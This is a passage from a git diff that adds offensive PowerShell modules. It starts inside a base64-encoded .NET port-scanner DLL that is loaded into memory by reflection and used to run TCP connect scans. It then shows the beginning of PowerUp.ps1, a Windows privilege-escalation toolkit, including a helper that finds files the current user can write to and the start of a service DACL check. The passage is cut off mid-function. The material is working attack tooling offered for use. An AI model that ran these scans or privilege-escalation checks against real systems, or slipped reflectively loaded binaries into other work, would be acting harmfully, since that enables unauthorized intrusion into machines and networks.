uBS4AQwAZBS4ASwA0BS4AUwAuBS4AWwAuBS4AYwBMBS4AawB2BWMAcwCIBQEBiwCDBSEBiwCDBUEBiwCDBWEBiwCDBYECiwCDBaECiwCDBcACiwCDBcECiwCDBeACiwCDBQADiwCDBQEDiwCDBSADiwCDBSEDiwCDBUADiwCDBUEDiwCDBWADiwCDBWEDiwCDBYEDiwCDBaADiwCDBaEDiwCDBcADiwCDBUEEiwCDBWEEiwCDBYEEiwCDBaEEiwCDBcEEiwCDBUAGiwCDBWAGiwCDBYAGiwCDBaAGiwCDBcAGiwCDBeAGiwCDBQAHiwCDBSAHiwCDBUAHiwCDBWAHiwCDBYAHiwCDBaAHiwCDBcAHiwCDBeAHiwCDBcAIiwCDBeAIiwCDBQAJiwCDBSAJiwCDBcAJiwCDBeAJiwCDBQAKiwCDBSAKiwCDBUAKiwCDBWAKiwCDBYAKiwCDBaAKiwCDBcAKiwCDBeAKiwCDBTIAUQBfAPIAMgGCAZcBqQHbAfcBFAIkAkoCUQKEAqACtwICAAEAAwACAAQABAAFAAcABgAJAAgACgAJABcACwAcAAAABQx/BAAAFgqDBAAAHwiIBAAAOQSOBAAAoACTBAAAgQCYBAAA1wudBAAADwN/BAAABQyoBAAABg6sBAAAcAayBAAAcw+4BAAAww64BAAAiQ64BAAApQ64BAAAMwy8BAAAwQvKBAAADwN/BAAASwa4BAAASwh/BAAAqgzPBAAAKA9/BAAA3AzTBAAASg7YBAAApQ64BAAAcw+4BAAADA3eBAAAxA1/BAAAQgDkBAAAeg3kBAIABQADAAIACwAFAAIADAAHAAIAFgAJAAEAFwAJAAIAGAALAAEAGQALAAIAGgANAAEAGwANAAIAHQAPAAEAHgAPAAIAIAARAAEAHwARAAIAJAATAAIAMgAVAAEAMwAVAAIANAAXAAEANQAXAAIANgAZAAEANwAZAAIAOAAbAAEAOQAbAAIAOgAdAAEAOwAdAAIAPAAfAAEAPQAfAAIAPgAhAAEAPwAhAAIAQAAjAAEAQQAlAAIAQwAnAAIARQApAAEARAApAAIARgArAAEARwArAAIASAAtAAEASQAtAAIATgAvAAEATwAvAAIAUAAxAAEAUQAxAAIAUgAzAAEAUwAzAAIAVAA1AAEAVQA1AAIAVgA3AAEAVwA3AAIAYwA5AAIAZgA7AAIAZwA9AAoAvAAfAAsAzgAhACAAKwCPAKoAwQDZAOgACwEUAR0BJgEsAesBAgKZAgSAAAABAAAAAAAAAAAAAAAAAHwHAAACAAAAAAAAAAAAAADOAqoAAAAAAAIAAAAAAAAAAAAAAM4CJAgAAAAACgADAAsAAwAAAAAAAE51bGxhYmxlYDEASUVudW1lcmFibGVgMQBJRW51bWVyYXRvcmAxAExpc3RgMQBHZXRFbnVtZXJhdG9yMQBnZXRfQ3VycmVudDEAVG9VSW50MzIARGljdGlvbmFyeWAyAFVJbnQxNgA8TW9kdWxlPgBnZXRfQUZfVFlQRQBzZXRfQUZfVFlQRQBJc0lQAGdldF9DdXJyZW50SVAAc2V0X0N1cnJlbnRJUABtc2NvcmxpYgBfc2IAU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMAQWRkAEludGVybG9ja2VkAGdldF9Db25uZWN0ZWQAT25TY2FuQ29tcGxldGVkADxBRl9UWVBFPmtfX0JhY2tpbmdGaWVsZAA8Q3VycmVudElQPmtfX0JhY2tpbmdGaWVsZAA8U2NhblN0YXRlPmtfX0JhY2tpbmdGaWVsZAA8VG90YWxTY2FubmluZz5rX19CYWNraW5nRmllbGQAPFRhcmdldHM+a19fQmFja2luZ0ZpZWxkADxPcGVuUG9ydHM+a19fQmFja2luZ0ZpZWxkADxWaXN1YWxSZXN1bHRTZXQ+a19fQmFja2luZ0ZpZWxkADxUYXJnZXQ+a19fQmFja2luZ0ZpZWxkADxTb2NrZXQ+a19fQmFja2luZ0ZpZWxkADxTY2FuRW5kRXZlbnQ+a19fQmFja2luZ0ZpZWxkADxTY2FuRGVsYXlFdmVudD5rX19CYWNraW5nRmllbGQAPEVuZFBvcnQ+a19fQmFja2luZ0ZpZWxkADxDdXJyZW50UG9ydD5rX19CYWNraW5nRmllbGQAPFN0YXJ0UG9ydD5rX19CYWNraW5nRmllbGQAPF9Qb3J0U3ludGF4PmtfX0JhY2tpbmdGaWVsZAA8RGVsYXk+a19fQmFja2luZ0ZpZWxkAEFwcGVuZABnZXRfTWVzc2FnZQBJc0lQUmFuZ2UAUHJvY2Vzc0lQUmFuZ2UASXBSYW5nZQBQcm9jZXNzQ2lkclJhbmdlAGdldF9UYXJnZXRSYW5nZQBzZXRfVGFyZ2V0UmFuZ2UASW52b2tlAElFbnVtZXJhYmxlAElEaXNwb3NhYmxlAHNldF9DdXJzb3JWaXNpYmxlAEV2ZW50V2FpdEhhbmRsZQBDb25zb2xlAHBvc2l0aW9uTmFtZQBDaGVja0hvc3ROYW1lAG5hbWUARGF0ZVRpbWUAV2FpdE9uZQBBcHBlbmRMaW5lAFdyaXRlTGluZQBVcmlIb3N0TmFtZVR5cGUAUHJvdG9jb2xUeXBlAFNvY2tldFR5cGUAU2VtYXBob3JlAENhcHR1cmUAUmVsZWFzZQBDbG9zZQBEaXNwb3NlAFRyeVBhcnNlAFJldmVyc2UAZ2V0X0FzeW5jU3RhdGUAVENQU2NhblN0YXRlAGdldF9TY2FuU3RhdGUAc2V0X1NjYW5TdGF0ZQBzY2FuU3RhdGUAc2Nhbm5lclN0YXRlAF9zdGF0ZQBXcml0ZQBDb21waWxlckdlbmVyYXRlZEF0dHJpYnV0ZQBHdWlkQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUARGVmYXVsdE1lbWJlckF0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAZ2V0X1ZhbHVlAGdldF9IYXNWYWx1ZQB2YWx1ZQBTeXN0ZW0uVGhyZWFkaW5nAFBlcmZvcm1UQ1BDb25uZWN0U2Nhbk5vbkJsb2NraW5nAGNhbmNlbEFsbFJlbWFpbmluZwBnZXRfUG9ydHNSZW1haW5pbmcAZ2V0X1RvdGFsU2Nhbm5pbmcAc2V0X1RvdGFsU2Nhbm5pbmcAQ3VycmVudFNjYW5uaW5nAFRvTG9uZ1RpbWVTdHJpbmcAVG9TdHJpbmcAVUludFRvSXBTdHJpbmcARGVjcmVtZW50V2FpdGluZwBJbmNyZW1lbnRXYWl0aW5nAHJhbmdlTWNoAGNpZHJtY2gASXBSYW5nZU1hdGNoAElwQ2lkck1hdGNoAGdldF9MZW5ndGgAc2V0X0xlbmd0aABtYXBOYW1lVG9QcmV2V3JpdGVMZW5ndGgAVXJpAEFzeW5jQ2FsbGJhY2sAV2FpdENhbGxiYWNrAEhvc3RUb05ldHdvcmsAdmVydGljYWwAX2ludGVybmFsAENhbmNlbEFsbABQb3J0U2Nhbm5lci1EbGwAUG9ydFNjYW5uZXItRGxsLmRsbABUaHJlYWRQb29sAFdyaXRlTGluZUltcGwAV3JpdGVJbXBsAFdyaXRlQXRSZWNQb3NpdGlvbkltcGwAUmVjb3JkUG9zaXRpb25JbXBsAFByb2Nlc3NUYXJnZXRzSW1wbABnZXRfSXRlbQBzZXRfSXRlbQBRdWV1ZVVzZXJXb3JrSXRlbQBTeXN0ZW0AVHJpbQBEb1NjYW4AZ2V0X1BvcnRzVG9TY2FuAHNldF9Qb3J0c1RvU2NhbgBQZXJmb3JtVENQQ29ubmVjdFNjYW4AU3RhcnRTY2FuAFN5c3RlbS5SZWZsZWN0aW9uAEdyb3VwQ29sbGVjdGlvbgBLZXlDb2xsZWN0aW9uAFdyaXRlQXRSZWNQb3NpdGlvbgBSZWNvcmRQb3NpdGlvbgBtYXBOYW1lVG9DdXJzb3JQb3NpdGlvbgBJbnZhbGlkT3BlcmF0aW9uRXhjZXB0aW9uAFBvcnRTY2FubmVyX0RsbC5Db21tb24AUG9ydFNjYW5uZXIuQ29tbW9uAGlwAGdldF9DdXJzb3JUb3AAc2V0X0N1cnNvclRvcABHcm91cABDaGFyAF9oaUFkZHIAX2xvQWRkcgBJc0lQQ2lkcgBfaXBfY2lkcgBfaXBjaWRyAFN0cmluZ0J1aWxkZXIAX2xvY2tlcgBFdmVudEhhbmRsZXIAUG9ydFNjYW5uZXIuQ29uc29sZUNvbnRyb2xsZXIAUG9ydFNjYW5uZXJfRGxsLlNjYW5uZXIAVENQQ29ubmVjdFNjYW5uZXIAQ29uc29sZVVwZGF0ZXIARW50ZXIAQml0Q29udmVydGVyAElFbnVtZXJhdG9yAGdldF9JUEVudW1lcmF0b3IASVBSYW5nZUVudW1lcmF0b3IAU3lzdGVtLkNvbGxlY3Rpb25zLklFbnVtZXJhYmxlLkdldEVudW1lcmF0b3IALmN0b3IALmNjdG9yAE1vbml0b3IAU3lzdGVtLkRpYWdub3N0aWNzAFNldE1heFRocmVhZHMAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMARGVidWdnaW5nTW9kZXMAR2V0QWRkcmVzc0J5dGVzAEdldEJ5dGVzAEV2ZW50QXJncwBJUHY0VG9vbHMARG5zAENvbnRhaW5zAFN5c3RlbS5UZXh0LlJlZ3VsYXJFeHByZXNzaW9ucwBTeXN0ZW0uQ29sbGVjdGlvbnMAcmV0aHJvd0V4Y2VwdGlvbnMAZ2V0X0dyb3VwcwBQb3J0U2Nhbm5lcl9EbGwuSGVscGVycwBnZXRfU3VjY2VzcwBJUEFkZHJlc3MAYWRkcmVzcwBnZXRfVGFyZ2V0cwBzZXRfVGFyZ2V0cwBnZXRfVENQU2NhblRhcmdldHMAUHJvY2Vzc1RhcmdldHMAU3lzdGVtLk5ldC5Tb2NrZXRzAGdldF9SZXN1bHRzAFdyaXRlVG9SZXN1bHRzAFNldFN0YXJ0QW5kRW5kUG9ydHMAZ2V0X09wZW5Qb3J0cwBzZXRfT3BlblBvcnRzAHBvcnRzAHRhcmdldEhvc3RzAGdldF9LZXlzAElzSVBSYW5nZUZvcm1hdABPYmplY3QARW5kQ29ubmVjdABCZWdpbkNvbm5lY3QAU3lzdGVtLk5ldABnZXRfVmlzdWFsUmVzdWx0U2V0AHNldF9WaXN1YWxSZXN1bHRTZXQAZ2V0X1RhcmdldABzZXRfVGFyZ2V0AFRDUFNjYW5TdGF0ZVRhcmdldAB0YXJnZXQAZ2V0X1NvY2tldABzZXRfU29ja2V0AFRDUFNjYW5TdGF0ZVNvY2tldABSZXNldABnZXRfQ3Vyc29yTGVmdABzZXRfQ3Vyc29yTGVmdABTcGxpdABJbml0AEV4aXQAR2V0VmFsdWVPckRlZmF1bHQASUFzeW5jUmVzdWx0AERlY3JlbWVudABJbmNyZW1lbnQAU3lzdGVtLkNvbGxlY3Rpb25zLklFbnVtZXJhdG9yLkN1cnJlbnQAU3lzdGVtLkNvbGxlY3Rpb25zLklFbnVtZXJhdG9yLmdldF9DdXJyZW50AF9jdXJyZW50AE1heENvbmN1cnJlbnQAbWF4Q29uY3VycmVudABnZXRfU2NhbkVuZEV2ZW50AHNldF9TY2FuRW5kRXZlbnQATWFudWFsUmVzZXRFdmVudABBdXRvUmVzZXRFdmVudABnZXRfU2NhbkRlbGF5RXZlbnQAc2V0X1NjYW5EZWxheUV2ZW50AElQRW5kUG9pbnQAZ2V0X0NvdW50AFNjYW5JUFBvcnQAZ2V0X0VuZFBvcnQAc2V0X0VuZFBvcnQAZ2V0X0N1cnJlbnRQb3J0AHNldF9DdXJyZW50UG9ydABnZXRfU3RhcnRQb3J0AHNldF9TdGFydFBvcnQAU29ydABnZXRfQWRkcmVzc0xpc3QAdGFyZ2V0SG9zdABob3N0AE1vdmVOZXh0AFN5c3RlbS5UZXh0AHRleHQAZ2V0X05vdwBnZXRfX1BvcnRTeW50YXgAc2V0X19Qb3J0U3ludGF4AF9pcFJhbmdlUmVnZXgAX2lwUmVnZXgAX2lwQ2lkclJlZ2V4AGdldF9EZWxheQBzZXRfRGVsYXkAVHJpZ2dlckRlbGF5AGRlbGF5AEFycmF5AHJlc3VsdHNSZWFkeQBDb250YWluc0tleQBBZGRyZXNzRmFtaWx5AElQSG9zdEVudHJ5AEdldEhvc3RFbnRyeQBJc051bGxPckVtcHR5AAAAK1sAWABdACAARQByAHIAbwByACAAbwBjAGMAdQByAGUAZAAgAHsAMAB9AAApWwBYAF0AIABDAEEATgBDAEUATABMAEUARAAgAEEAVAAgAHsAMAB9AABZWwAtAF0AIABTAGMAYQBuAG4AaQBuAGcAOgAgAHsAMAB9ACAAUABvAHIAdABzADoAIAB7ADEAfQAgAHcAaQB0AGgAIABkAGUAbABhAHkAIAB7ADIAfQBzAAErWwAtAF0AIABDAHUAcgByAGUAbgB0ACAASQBQAC8AUABvAHIAdAA6ACAAARdDAHUAcgByAGUAbgB0AFAAbwByAHQAAAEAK1sALQBdACAAUABvAHIAdABzACAAUgBlAG0AYQBpAG4AaQBuAGcAOgAgAAETUgBlAG0AYQBpAG4AaQBuAGcAAAd7ADAAfQAAJ1sALQBdACAAUwB0AGEAcgB0ACAAdABpAG0AZQA6ACAAewAwAH0AASNbACsAXQAgAEUAbgBkACAAdABpAG0AZQA6ACAAewAwAH0AABtbACsAXQAgAFIAZQBzAHUAbAB0AHMAOgAgAAAPUgBlAHMAdQBsAHQAcwAACVsASQBQAF0AABdQAE8AUgBUAAkAUwBUAEEAVABVAFMAAAtbAHsAMAB9AF0AABl7ADAAfQAvAHQAYwBwAAkATwBQAEUATgAALVsAKwBdACAAUgBlAHMAdQBsAHQAcwA6ACAATgBvAG4AZQAgAG8AcABlAG4AAEdbAFgAXQAgAFMAdABhAHIAdABTAGMAYQBuADoAIABUAEMAUABTAGMAYQBuAFMAdABhAHQAZQAgAGkAcwAgAG4AdQBsAGwAAA97ADAAfQA6AHsAMQB9AABLWwBYAF0AIABFAG4AZABDAG8AbgBuAGUAYwB0ADoAIABzAGMAYQBuAFMAdABhAHQAZQBTAG8AYwBrACAAaQBzACAAbgB1AGwAbAAAK1sAKwBdACAAUABvAHIAdAAgAE8AcABlAG4AIAB7ADAAfQA6AHsAMQB9AACBIV4AKAA/ADwAaQBwAD4AKAAoAFsAMAAtADkAXQB8AFsAMQAtADkAXQBbADAALQA5AF0AfAAxAFsAMAAtADkAXQB7ADIAfQB8ADIAWwAwAC0ANABdAFsAMAAtADkAXQB8ADIANQBbADAALQA1AF0AKQBcAC4AKQB7ADMAfQAoAFsAMAAtADkAXQB8AFsAMQAtADkAXQBbADAALQA5AF0AfAAxAFsAMAAtADkAXQB7ADIAfQB8ADIAWwAwAC0ANABdAFsAMAAtADkAXQB8ADIANQBbADAALQA1AF0AKQApACgAXAAvACgAPwA8AGMAaQBkAHIAPgAoAFwAZAB8AFsAMQAtADIAXQBcAGQAfAAzAFsAMAAtADIAXQApACkAKQAkAAGA014AKAAoAFsAMAAtADkAXQB8AFsAMQAtADkAXQBbADAALQA5AF0AfAAxAFsAMAAtADkAXQB7ADIAfQB8ADIAWwAwAC0ANABdAFsAMAAtADkAXQB8ADIANQBbADAALQA1AF0AKQBcAC4AKQB7ADMAfQAoAFsAMAAtADkAXQB8AFsAMQAtADkAXQBbADAALQA5AF0AfAAxAFsAMAAtADkAXQB7ADIAfQB8ADIAWwAwAC0ANABdAFsAMAAtADkAXQB8ADIANQBbADAALQA1AF0AKQAkAAGBaV4AKAA/ADwAaQBwAD4AKAAoAFsAMAAtADkAXQB8AFsAMQAtADkAXQBbADAALQA5AF0AfAAxAFsAMAAtADkAXQB7ADIAfQB8ADIAWwAwAC0ANABdAFsAMAAtADkAXQB8ADIANQBbADAALQA1AF0AKQBcAC4AKQB7ADMAfQAoAD8APABmAHIAbwBtAD4AKABbADAALQA5AF0AfABbADEALQA5AF0AWwAwAC0AOQBdAHwAMQBbADAALQA5AF0AewAyAH0AfAAyAFsAMAAtADQAXQBbADAALQA5AF0AfAAyADUAWwAwAC0ANQBdACkAKQApACgAXAAtACgAPwA8AHQAbwA+ACgAWwAwAC0AOQBdAHwAWwAxAC0AOQBdAFsAMAAtADkAXQB8ADEAWwAwAC0AOQBdAHsAMgB9AHwAMgBbADAALQA0AF0AWwAwAC0AOQBdAHwAMgA1AFsAMAAtADUAXQApACkAKQAkAAFFWwBYAF0AIABVAG4AYQBiAGwAZQAgAHQAbwAgAHIAZQBzAG8AbAB2AGUAIAB0AGgAZQAgAGgAbwBzAHQAIAB7ADAAfQAAMVsAWABdACAASQBQAEEAZABkAHIAZQBzAHMAIABpAHMAIABpAG4AdgBhAGwAaQBkAAADLQABRVAAbwByAHQAIAByAGEAbgBnAGUAIABzAHkAbgB0AGEAeAAgAHsAMAB9ACAAaQBzACAAaQBuAGMAbwByAHIAZQBjAHQAACtQAG8AcgB0ACAAewAwAH0AIABpAHMAIABuAG8AdAAgAHYAYQBsAGkAZAAAb0kAUAAgAFIAYQBuAGcAZQAgAG0AdQBzAHQAIABlAGkAdABoAGUAcgAgAGIAZQAgAGkAbgAgAEkAUAAvAEMASQBEAFIAIABvAHIAIABJAFAAIAB0AG8ALQBmAHIAbwBtACAAZgBvAHIAbQBhAHQAAQVpAHAAAAlmAHIAbwBtAAAFdABvAABVSQBQACAAUgBhAG4AZwBlACAAdABoAGUAIABmAHIAbwBtACAAbQB1AHMAdAAgAGIAZQAgAGwAZQBzAHMAIAB0AGgAYQBuACAAdABoAGUAIAB0AG8AAEtJAFAAIABSAGEAbgBnAGUAIAB0AGgAZQAgAHQ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" + $dllbytes = [System.Convert]::FromBase64String($ps) + $assembly = [System.Reflection.Assembly]::Load($dllbytes) + } + + $scanner = [PortScanner_Dll.Scanner.TCPConnectScanner]::PerformTCPConnectScan("$IPaddress","$Ports","$Delay","$maxQueriesPS") + $scanner.Results + +} + diff --git a/Modules/PowerUp.ps1 b/Modules/PowerUp.ps1 new file mode 100644 index 0000000..0d71b14 --- /dev/null +++ b/Modules/PowerUp.ps1 @@ -0,0 +1,2295 @@ +<# + PowerUp aims to be a clearinghouse of common Windows privilege escalation + vectors that rely on misconfigurations. See README.md for more information. + + Author: @harmj0y + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None +#> + + +######################################################## +# +# Helpers +# +######################################################## + +function Get-ModifiableFile { +<# + .SYNOPSIS + + Helper to return any modifiable file that's a part of a passed string. + + .EXAMPLE + + PS C:\> '"C:\Temp\blah.bat" -f "C:\Temp\config.ini"' | Get-ModifiableFile + + Return the paths "C:\Temp\blah.bat" or "C:\Temp\config.ini" if they are + modifable by the current user context. +#> + + [CmdletBinding()] + Param( + [Parameter(ValueFromPipeline=$True, Mandatory = $True)] + [String] + $Path + ) + + begin { + # false positives + $Excludes = @("MsMpEng.exe", "NisSrv.exe") + + $OrigError = $ErrorActionPreference + $ErrorActionPreference = "SilentlyContinue" + } + + process { + $CandidateFiles = @() + + # test for quote-enclosed args first, returning files that exist on the system + $CandidateFiles += $Path.split("`"'") | Where-Object { $_ -and (Test-Path $_) } + + # now check for space-separated args, returning files that exist on the system + $CandidateFiles += $Path.split() | Where-Object { $_ -and (Test-Path $_) } + + # see if we need to skip any excludes + $CandidateFiles | Sort-Object -Unique | Where-Object {$_} | Where-Object { + $Skip = $False + ForEach($Exclude in $Excludes) { + if($_ -match $Exclude) { $Skip = $True } + } + if(!$Skip) {$True} + } | ForEach-Object { + + try { + # expand any %VARS% + $FilePath = [System.Environment]::ExpandEnvironmentVariables($_) + + # try to open the file for writing, immediately closing it + $File = Get-Item -Path $FilePath -Force + $Stream = $File.OpenWrite() + $Null = $Stream.Close() + $FilePath + } + catch {} + } + } + + end { + $ErrorActionPreference = $OrigError + } +} + +function Test-ServiceDaclPermission { +<# + .SYNOPSIS + + This function checks if the current user has specific DACL permissions + for a specific service with the aid of 